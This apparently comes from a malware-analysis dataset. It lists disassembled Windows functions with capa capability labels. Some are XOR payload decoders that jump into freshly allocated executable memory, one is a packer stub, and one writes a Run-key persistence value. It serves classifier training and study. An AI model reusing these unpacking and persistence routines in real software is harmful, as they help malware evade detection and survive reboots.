joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401350
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 0x10]
sub esp, 8
push esi
push 0xa
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x401392
push 0x104
push 8
push dword [0x434000]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
test eax, eax
je 0x401481
jmp 0x40148b
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4013d1
push 0x104
push 8
push dword [0x434000]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
test eax, eax
je 0x4014b2
mov dword [ebp - 4], 0x104
push str.Couldnt_load_resource
jmp 0x401497
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4013f2
push str.Couldnt_lock_resource
lea ecx, [ebp - 8]
call fcn.004010e0
jmp 0x40149f
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40142e
push str.Unable_to_create_file
lea ecx, [ebp - 8]
call fcn.004010e0
jmp 0x40149f
push 0
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x401457
push str.Unable_to__write_to_file
lea ecx, [ebp - 8]
call fcn.004010e0
jmp 0x40149f
cmp ebx, dword [ebp + 0x10]
pop edi
pop ebx
je 0x40146d
push str.Couldnt_write_all_the_bytes_of_the_file
lea ecx, [ebp - 8]
call fcn.004010e0
jmp 0x40149f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 8]
call fcn.00401140
pop esi
mov esp, ebp
pop ebp
ret
push str.Out_of_heap_memory
call fcn.00401dd0
mov dword [ebp - 4], 0x104
push str.Couldnt_find_any_self_extracting_stub_to_write
lea ecx, [ebp - 8]
call fcn.00401250
push dword [ebp + 8]
lea ecx, [ebp - 8]
call fcn.004011a0
push dword [ebp - 8]
call fcn.00401dd0
push str.Out_of_heap_memory
call fcn.00401dd0
int3
Function at 0x4017e0
Capabilities:
Delete directory
Delete file
Terminate process

Disassembly:
mov ecx, section..data
lea edx, [ecx + 2]
jmp 0x4017f0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4017f0
sub ecx, edx
sar ecx, 1
je 0x40180c
push section..data
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x424000
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401814
sub ecx, edx
sar ecx, 1
je 0x401830
push 0x424000
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x414000
lea edx, [ecx + 2]
jmp 0x401840
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401840
sub ecx, edx
sar ecx, 1
je 0x40185c
push 0x414000
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push dword [0x434004]
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x401870
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov dword [ebp - 4], 0
mov esi, 0x20
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
cmp word [eax], 0x22
jne 0x401895
mov esi, 0x22
add eax, 2
cmp word [eax], si
je 0x4018b1
lea ebx, [ebx]
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
je 0x4018f5
cmp cx, si
jne 0x4018a0
cmp word [eax + 2], 0x20
lea esi, [eax + 2]
jne 0x4018c9
jmp 0x4018c0
add esi, 2
cmp word [esi], 0x20
je 0x4018c0
push edi
mov edi, dword [ebp + 8]
push 0x104
push 8
mov dword [edi], 0
mov dword [edi + 4], 0
push dword [0x434000]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [edi], eax
test eax, eax
jne 0x401938
jmp 0x40194f
mov esi, dword [ebp + 8]
push 0x104
push 8
mov dword [esi], 0
mov dword [esi + 4], 0
push dword [0x434000]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x401959
push 0x4030a0
mov ecx, esi
mov dword [esi + 4], 0x104
call fcn.00401250
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push esi
mov ecx, edi
mov dword [edi + 4], 0x104
call fcn.00401250
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.Out_of_heap_memory
call fcn.00401dd0
push str.Out_of_heap_memory
call fcn.00401dd0
int3
Function at 0x401970
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x14], 0
push edi
push eax
call fcn.004020c0
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esp, 4
mov dword [ebp - 0x18], 0
push 0x104
push 8
push dword [0x434000]
call edi
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x401b1e
push str.SOPHOS_SFL_PATH_DE4325B8_1378_47a6_AEC1_EF723BCE8EC4
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x104
call fcn.00401250
push 0x104
push 8
push dword [0x434000]
mov dword [ebp - 0xc], 0
call edi
mov dword [ebp - 0x10], eax
test eax, eax
je 0x401b28
push dword [ebp - 0x24]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0xc], 0x104
call fcn.00401250
mov esi, dword [ebp - 0x10]
lea ecx, [ebp - 0x1c]
push esi
call fcn.004011a0
push esi
push 0
push dword [0x434000]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x401b32
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
mov dword [ebp - 4], eax
call fcn.00401300
mov ecx, dword [ebp - 0x1c]
mov ebx, eax
add esp, 4
mov dword [ebp - 0xc], ebx
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401a40
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ebx]
mov ebx, dword [ebp + 8]
lea eax, [eax*2 + 2]
push eax
push 8
mov dword [ebx], 0
mov dword [ebx + 4], 0
push dword [0x434000]
mov dword [ebp - 8], eax
call edi
mov esi, eax
mov dword [ebx], esi
test esi, esi
je 0x401b3c
mov edi, dword [ebp - 0x1c]
mov ecx, edi
mov eax, dword [ebp - 8]
mov dword [ebx + 4], eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401a91
sub ecx, edx
mov edx, edi
sar ecx, 1
lea eax, [ecx*2 + 2]
mov ecx, eax
mov dword [ebp - 8], eax
test ecx, ecx
je 0x401ac5
mov al, byte [edx]
lea esi, [esi + 1]
mov byte [esi - 1], al
lea edx, [edx + 1]
sub ecx, 1
jne 0x401ab2
mov eax, dword [ebp - 8]
mov ecx, dword [ebx]
mov edx, dword [ebp - 0xc]
add ecx, eax
mov eax, dword [ebp - 4]
mov esi, eax
add edx, edx
je 0x401ae8
mov al, byte [esi]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
lea esi, [esi + 1]
sub edx, 1
jne 0x401ad5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0
push dword [0x434000]
call esi
test eax, eax
je 0x401b46
push dword [ebp - 0x24]
push 0
push dword [0x434000]
call esi
test eax, eax
je 0x401b50
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
push str.Out_of_heap_memory
call fcn.00401dd0
push str.Out_of_heap_memory
call fcn.00401dd0
push str.Error_freeing_memory
call fcn.00401dd0
push str.Out_of_heap_memory
call fcn.00401dd0
push str.Error_freeing_memory
call fcn.00401dd0
push str.Error_freeing_memory
call fcn.00401dd0
int3
Function at 0x401dd0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
mov dword [0x434004], 0x2c
push ebx
mov ebx, dword [ebp + 8]
mov ecx, ebx
push esi
push edi
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401df0
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 0x64]
cmp eax, 0x104
jb 0x401e0e
call fcn.004017e0
push 0x104
lea eax, [ebp - 0x66c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x401e29
call fcn.004017e0
cmp eax, 0x104
jbe 0x401e35
call fcn.004017e0
xor ecx, ecx
jmp 0x401e40
movzx eax, word [ebp + ecx - 0x66c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x466], ax
test ax, ax
jne 0x401e40
lea ecx, [ebp - 0x464]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x401e61
mov eax, dword [str.mshta.exe]
mov dword [ecx], eax
mov eax, dword [0x40313c]
mov dword [ecx + 4], eax
mov eax, dword [0x403140]
mov dword [ecx + 8], eax
mov eax, dword [0x403144]
mov dword [ecx + 0xc], eax
mov eax, dword [0x403148]
mov dword [ecx + 0x10], eax
mov ax, word [0x40314c]
mov word [ecx + 0x14], ax
xor ecx, ecx
movzx eax, word [ebp + ecx - 0x464]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x25e], ax
test ax, ax
jne 0x401ea0
lea edi, [ebp - 0x25c]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401ec1
mov ecx, 0xe
mov esi, str._vbscript:Execute__MsgBox___
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, ebx
lea ecx, [ecx]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x401ee0
lea edi, [ebp - 0x25c]
sub ebx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401ef6
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x25c]
add edi, 0xfffffffe
lea esp, [esp]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x401f20
mov ecx, 0x10
lea eax, [ebp - 0x54]
mov esi, str.___0___Sophos____window.close___
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x66c]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
call fcn.004017e0
int3
Function at 0x402030
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
mov word [ebp - 0xc], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4020a8
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [ebp - 4]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x4020b2
cmp dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
push ebx
setne bl
test ecx, ecx
je 0x4020a1
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push str.Failed_to_allocate_Administrators_group_SID
call fcn.00401dd0
push str.Failed_to_check_membership_to_Administrators_group
call fcn.00401dd0
int3

Function at 0x10001822
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000182c
repz ret
jmp fcn.10001bc2

Function at 0x1000187f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000188e
pop dword [ebp - 0x20]
mov eax, 0x5b208815
add eax, 0xb4df9079
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x6a645ec5
add dword [ebp - 0x30], 0xe3ede686
mov dword [ebp - 0x2c], 0xad65da1e
add dword [ebp - 0x2c], 0x84cd7227
mov dword [ebp - 0x28], 0x152da511
add dword [ebp - 0x28], 0x371e9f1d
mov dword [ebp - 0x24], 0x913e66f7
add dword [ebp - 0x24], 0x6ec19909
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xe28115d7
sub dword [ebp - 0x30], 0x6e0eac81
mov dword [ebp - 0x2c], 0x2cfb29d3
add dword [ebp - 0x2c], 0x147137a2
mov dword [ebp - 0x28], 0x86468
add dword [ebp - 0x28], 0x63670804
mov dword [ebp - 0x24], 0xb746ef3b
sub dword [ebp - 0x24], 0xb746ef3b
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x65f7df77
add eax, 0xaa085089
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3726b
push 0
call eax
mov ecx, 0x4a88
mov esi, eax
mov edx, 0xf0f67f5b
sub edx, 0xe0f61d5b
add edx, dword [ebp - 0x20]
mov ebx, 0xe527ead8
add ebx, 0xad8bdea5
sub dword [ebp - 0x1c], esi
mov edi, dword [edx]
xor dword [ebp - 0x14], ecx
xor edi, ebx
sub dword [ebp - 0x1c], 0x74d4b90b
mov dword [esi], edi
add dword [ebp - 0x10], eax
add esi, 0x6998a452
add esi, 0x96675bb2
add edx, 0x9885e401
sub edx, 0x9885e3fd
loop 0x100019a5
add eax, 0x11cf3
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x1001b7a9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1001b7b8
pop dword [ebp - 0x14]
mov eax, 0x6dfa758b
sub eax, 0x5df8bdd3
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x76e1ce8d
add dword [ebp - 0x24], 0xd77076be
mov dword [ebp - 0x20], 0x8704d61a
sub dword [ebp - 0x20], 0x54d189d5
mov dword [ebp - 0x1c], 0x321bbe13
add dword [ebp - 0x1c], 0x1a30861b
mov dword [ebp - 0x18], 0x2609033f
sub dword [ebp - 0x18], 0x2609033f
lea eax, [ebp - 0x24]
push eax
mov eax, 0x7d2575b5
add eax, 0x92dc7a93
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x254b80ad
sub dword [ebp - 0x24], 0xb0d91757
mov dword [ebp - 0x20], 0xf2b1b285
sub dword [ebp - 0x20], 0xb1455110
mov dword [ebp - 0x1c], 0xddd557b0
sub dword [ebp - 0x1c], 0x7a65eb44
mov dword [ebp - 0x18], 0x9ef2ae9b
sub dword [ebp - 0x18], 0x9ef2ae9b
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x84316431
add eax, 0x8bd08c1b
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x408f5
push 0
call eax
mov ecx, 0x31478ef1
add ecx, 0xceb8c469
xor esi, esi
add esi, eax
mov edi, 0x3c5a7f19
sub edi, 0x2c57d319
add edi, dword [ebp - 0x14]
mov ebx, 0xa1e5f865
add ebx, 0x7487530b
xor dword [ebp - 8], 0xd5dde0f7
mov edx, dword [edi]
mov dword [ebp - 0xc], 0xceec93cf
xor edx, ebx
sub dword [ebp - 8], edi
mov dword [esi], edx
sub dword [ebp - 8], 0x72bf5540
add esi, 0x79f0f45c
add esi, 0x860f0ba8
add edi, 4
loop 0x1001b8dc
add eax, 0xa2300145
sub eax, 0xa22ec10a
mov ebx, eax
add eax, 0x8945294a
add eax, 0x76bad6bb
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x1001d7ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10026200]
jne 0x1001d7b6
repz ret
jmp fcn.1001dc29
Function at 0x100092c3
Capabilities:
Get common file path

Disassembly:
push ebp
push edi
push pe_nt_image_headers32
call sub.glib_lite.dll_Ordinal_406
mov edi, eax
pop ecx
test edi, edi
je 0x1000934d
push edi
xor ebp, ebp
push ebp
push 0x1001d834
push 0x10023880
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
test eax, eax
je 0x10009352
push ebx
push ebp
mov ebx, 0x4000100
push ebx
push 2
push ebp
push 5
push 0xc0000000
push edi
call dword [sym.imp.kernel32.dll_CreateFileA]
push ebp
push ebx
push 3
push ebp
push 7
push Ordinal_1
push edi
mov dword [edi + 0x108], eax
call dword [sym.imp.kernel32.dll_CreateFileA]
cmp dword [edi + 0x108], 0xffffffff
mov dword [edi + 0x104], eax
pop ebx
je 0x10009352
cmp eax, 0xffffffff
je 0x10009352
mov dword [edi + 0x118], ebp
mov dword [edi + 0x11c], ebp
mov dword [edi + 0x110], ebp
mov dword [edi + 0x114], ebp
mov eax, edi
pop edi
pop ebp
ret
push edi
call sub.glib_lite.dll_Ordinal_109
pop ecx
xor eax, eax
jmp 0x1000934f

Function at 0x10010530
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
mov ebp, dword [esp + 0x10]
mov ecx, dword [eax*4 + 0x1001e2c8]
push esi
push edi
push 0xffffffffffffff80
mov dword [esp + 0x18], ecx
lea edi, [ecx + ecx]
pop esi
mov ebx, esi
xor edx, edx
sar ebx, 0x1f
mov eax, ebx
xor eax, esi
sub eax, ebx
cmp eax, edi
cmovl edx, eax
mov al, bl
sub edx, ecx
mov ecx, edx
sar ecx, 0x1f
xor dl, cl
sub al, dl
add al, cl
mov ecx, dword [esp + 0x14]
add al, cl
xor al, bl
mov byte [esi + ebp], al
inc esi
cmp esi, 0x80
jle 0x1001054d
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x10013a24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10013a33
pop dword [ebp - 0x1c]
mov eax, 0xecc97d69
sub eax, 0xdcc84336
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x5a09fd8d
sub dword [ebp - 0x2c], 0xbb7b842
mov dword [ebp - 0x28], 0xdb9ed610
add dword [ebp - 0x28], 0x56947635
mov dword [ebp - 0x24], 0xfcc27fcb
add dword [ebp - 0x24], 0x4f89c463
mov dword [ebp - 0x20], 0xeeafa91f
add dword [ebp - 0x20], 0x115056e1
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x47589894
sub eax, 0x3756d814
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x593689d5
add dword [ebp - 0x2c], 0x1b3bdf81
mov dword [ebp - 0x28], 0x82f3a06c
sub dword [ebp - 0x28], 0x41873ef7
mov dword [ebp - 0x24], 0x8a48c5ed
add dword [ebp - 0x24], 0xd926a67f
mov dword [ebp - 0x20], 0x667d9edb
add dword [ebp - 0x20], 0x99826125
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x81e7baea
add eax, 0x8e1a0516
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36dd5
push 0
call eax
mov ecx, 0x45d0
mov edi, eax
mov ebx, 0x10026800
add ebx, dword [ebp - 0x1c]
mov esi, 0xa441651b
sub esi, 0x639594fa
add dword [ebp - 8], eax
mov edx, dword [ebx]
xor edx, esi
mov dword [ebp - 0x10], 0xaeac5c87
mov dword [edi], edx
xor dword [ebp - 0x14], edi
add edi, 4
add ebx, 4
loop 0x10013b49
add eax, 0xeed89708
add eax, 0x1128730b
mov ebx, eax
add eax, 0xe2704e6f
add eax, 0x1d8fb196
mov ecx, 0x88508412
sub ecx, 0x78508412
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x438c8b
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x438a14
push 0xa8d60895
pop esi
mov esi, esi
call fcn.00438cd0
add ebx, 0xa634519e
sub ebx, ebx
or ebx, ebx
xor dword [edi], edx
add ebx, 0xca44c8b4
mov ebx, ebx
sub ebx, 0x337cf92a
inc edi
add esi, esi
and ebx, esi
add esi, 0xbad7ed65
cmp edi, ecx
jne fcn.00438c8b
add ebx, 1
inc ebx
ret
Function at 0x404584
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4045c3
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4045c3
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4045c3
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4045c3
cmp dword [ecx + 0x74], 0xe
jbe 0x4045c3
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..retplne
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x156351a
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..reloc
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x1920170b
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x70a412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x70a41325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x70a41325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x70a4132c
mov eax, 1
jmp 0x70a41331
mov eax, 0
leave
ret

Function at 0x70a41333
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [ebp - 0xc], 0
mov dword [esp + 8], 0x100
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
test eax, eax
jne 0x70a41382
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.GetModuleFileName___failed_with_error_code__d_n
call sym._printf
jmp 0x70a414e4
mov dword [esp + 4], 0x5c
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strrchr
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x70a413bb
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.strrchr___failed_with_error_code__d_n
call sym._printf
jmp 0x70a414e4
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x20c]
mov dword [eax], 0x74666f53
mov dword [eax + 4], 0x65726177
mov dword [eax + 8], 0x63694d5c
mov dword [eax + 0xc], 0x6f736f72
mov dword [eax + 0x10], 0x575c7466
mov dword [eax + 0x14], 0x6f646e69
mov dword [eax + 0x18], 0x435c7377
mov dword [eax + 0x1c], 0x65727275
mov dword [eax + 0x20], 0x6556746e
mov dword [eax + 0x24], 0x6f697372
mov dword [eax + 0x28], 0x75525c6e
mov word [eax + 0x2c], 0x6e
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x70a41471
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegOpenKeyEx___failed_with_error_code__d_n
call sym._printf
jmp 0x70a414e4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x210]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyApp
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x70a414d3
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.RegSetValueEx___failed_with_error_code__d_n
call sym._printf
jmp 0x70a414e4
mov eax, dword [ebp - 0x210]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
leave
ret